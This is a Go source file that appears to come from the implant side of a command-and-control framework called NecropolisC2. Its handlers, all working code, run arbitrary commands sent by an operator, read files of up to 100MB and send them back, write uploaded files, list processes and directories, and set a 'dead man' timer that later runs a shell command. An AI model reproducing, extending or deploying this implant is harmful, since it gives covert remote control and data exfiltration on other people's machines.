package core

import (
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"time"

	"google.golang.org/protobuf/proto"

	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
	cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
	"github.com/Yenn503/NecropolisC2/pkg/transport"
)

func (a *Agent) sendError(msgType uint32, errMsg string) {
	errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
	errData, _ := proto.Marshal(errResp)
	a.sendResult(msgType, errData)
}

func (a *Agent) sendResult(resultType uint32, data []byte) {
	env := a.messenger.CreateEnvelope(resultType, data)

	a.connectedMu.Lock()
	connected := a.connected
	opID := a.messenger.OperatorID()
	a.connectedMu.Unlock()

	if connected {
		if err := a.sendEnvelopeDirect(opID, env); err != nil {
			log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
		} else {
			return
		}
	}

	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] send result: %v", err)
	}
}

func (a *Agent) handlePs(env *apb.Envelope) {
	result := &apb.Z13{}
	result.Processes = listProcesses()
	data, _ := proto.Marshal(result)
	log.Printf("[implant] ps result: %d processes", len(result.Processes))
	a.sendResult(transport.MsgTypePs, data)
}

func (a *Agent) handleDownload(env *apb.Envelope) {
	req := &apb.Z22{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z23{Path: req.Path}
	fi, err := os.Stat(req.Path)
	if err != nil {
		result.Exists = false
		respData, _ := proto.Marshal(result)
		a.sendResult(transport.MsgTypeDownload, respData)
		return
	}
	const maxDownloadSize = 100 << 20 // 100MB
	if fi.Size() > maxDownloadSize {
		result.Exists = true
		result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
		respData, _ := proto.Marshal(result)
		log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
		a.sendResult(transport.MsgTypeDownload, respData)
		return
	}
	data, err := os.ReadFile(req.Path)
	if err != nil {
		result.Exists = false
	} else {
		result.Exists = true
		result.Data = data
	}

	respData, _ := proto.Marshal(result)
	log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
	a.sendResult(transport.MsgTypeDownload, respData)
}

// whole file in one proto message works for the 100MB cap. For larger files,
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
func (a *Agent) handleUpload(env *apb.Envelope) {
	req := &apb.Z24{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	const maxUploadSize = 100 << 20
	if len(req.Data) > maxUploadSize {
		log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
		result := &apb.Z25{
			Path:     req.Path,
			Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
		}
		respData, _ := proto.Marshal(result)
		a.sendResult(transport.MsgTypeUpload, respData)
		return
	}

	result := &apb.Z25{Path: req.Path}
	perm := os.FileMode(0644)
	if req.Overwrite {
		if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
		} else {
			result.BytesWritten = int32(len(req.Data))
		}
	} else {
		if _, err := os.Stat(req.Path); err == nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
		} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
		} else {
			result.BytesWritten = int32(len(req.Data))
		}
	}

	respData, _ := proto.Marshal(result)
	log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
	a.sendResult(transport.MsgTypeUpload, respData)
}

func (a *Agent) handleScreenshot(env *apb.Envelope) {
	log.Printf("[implant] screenshot requested (not implemented on this platform)")
	result := &apb.Z3{
		Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
	}
	data, _ := proto.Marshal(result)
	a.sendResult(transport.MsgTypeScreenshot, data)
}

func (a *Agent) handleCd(env *apb.Envelope) {
	req := &apb.Z19{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z21{}
	if err := os.Chdir(req.Path); err != nil {
		result.Path = req.Path
		result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
	} else {
		result.Path, _ = os.Getwd()
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
	a.sendResult(transport.MsgTypeCd, data)
}

func (a *Agent) handlePwd(env *apb.Envelope) {
	result := &apb.Z21{}
	result.Path, _ = os.Getwd()

	data, _ := proto.Marshal(result)
	log.Printf("[implant] pwd: %s", result.Path)
	a.sendResult(transport.MsgTypePwd, data)
}

func (a *Agent) handleKill(env *apb.Envelope) {
	log.Printf("[implant] kill received, shutting down")
	buf := make([]byte, 4096)
	n := runtime.Stack(buf, false)
	log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
	a.sendResult(transport.MsgTypeKill, nil)
	time.Sleep(100 * time.Millisecond)
	os.Exit(0)
}

func (a *Agent) handleDeadMan(env *apb.Envelope) {
	var msg struct {
		Command string `json:"command"`
		Timeout int    `json:"timeout_seconds"`
	}
	if err := json.Unmarshal(env.Data, &msg); err != nil {
		return
	}

	a.deadManCmd = msg.Command
	a.deadManTimeout = time.Duration(msg.Timeout) * time.Second

	if a.deadManTimer != nil {
		a.deadManTimer.Stop()
	}
	if a.deadManCmd == "" || a.deadManTimeout <= 0 {
		a.deadManTimer = nil
		return
	}

	a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
		var cmd *exec.Cmd
		if runtime.GOOS == "windows" {
			cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
		} else {
			cmd = exec.Command("sh", "-c", a.deadManCmd)
		}
		cmd.Run()
	})
}

func (a *Agent) handleLs(env *apb.Envelope) {
	req := &apb.Z16{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z17{Path: req.Path}
	fi, err := os.Stat(req.Path)
	if err != nil {
		result.Exists = false
	} else {
		result.Exists = true
		if fi.IsDir() {
			entries, err := os.ReadDir(req.Path)
			if err != nil {
				result.Exists = false
			} else {
				for _, e := range entries {
					info, _ := e.Info()
					entry := &apb.Z18{
						Name:  e.Name(),
						IsDir: e.IsDir(),
					}
					if e.Type()&os.ModeSymlink != 0 {
						link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
						entry.Link = link
					}
					if info != nil {
						entry.Size = info.Size()
						entry.ModTime = info.ModTime().Unix()
						entry.Mode = info.Mode().String()
					}
					result.Files = append(result.Files, entry)
				}
			}
		} else {
			entry := &apb.Z18{
				Name:    fi.Name(),
				IsDir:   false,
				Size:    fi.Size(),
				ModTime: fi.ModTime().Unix(),
				Mode:    fi.Mode().String(),
			}
			if fi.Mode()&os.ModeSymlink != 0 {
				link, _ := os.Readlink(req.Path)
				entry.Link = link
			}
			result.Files = append(result.Files, entry)
		}
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
	a.sendResult(transport.MsgTypeLs, data)
}

func (a *Agent) handleExecute(env *apb.Envelope) {
	req := &apb.Z14{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z15{}
	if req.Output {
		cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
		out, err := cmd.CombinedOutput()
		if err != nil {
			var exitErr *exec.ExitError
			if errors.As(err, &exitErr) {
				result.Status = uint32(exitErr.ExitCode())
			} else {
				result.Status = 1
			}
			result.Stderr = []byte(err.Error())
		}
		result.Stdout = out
	} else {
		cmd := exec.Command(req.Path, req.Args...)
		cmd.Stdout = io.Discard
		cmd.Stderr = io.Discard
		if err := cmd.Start(); err != nil {
			var exitErr *exec.ExitError
			if errors.As(err, &exitErr) {
				result.Status = uint32(exitErr.ExitCode())
			} else {
				result.Status = 1
			}
			result.Stderr = []byte(err.Error())
		} else {
			result.Pid = uint32(cmd.Process.Pid)
			go cmd.Wait()
		}
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
	a.sendResult(transport.MsgTypeExecute, data)
}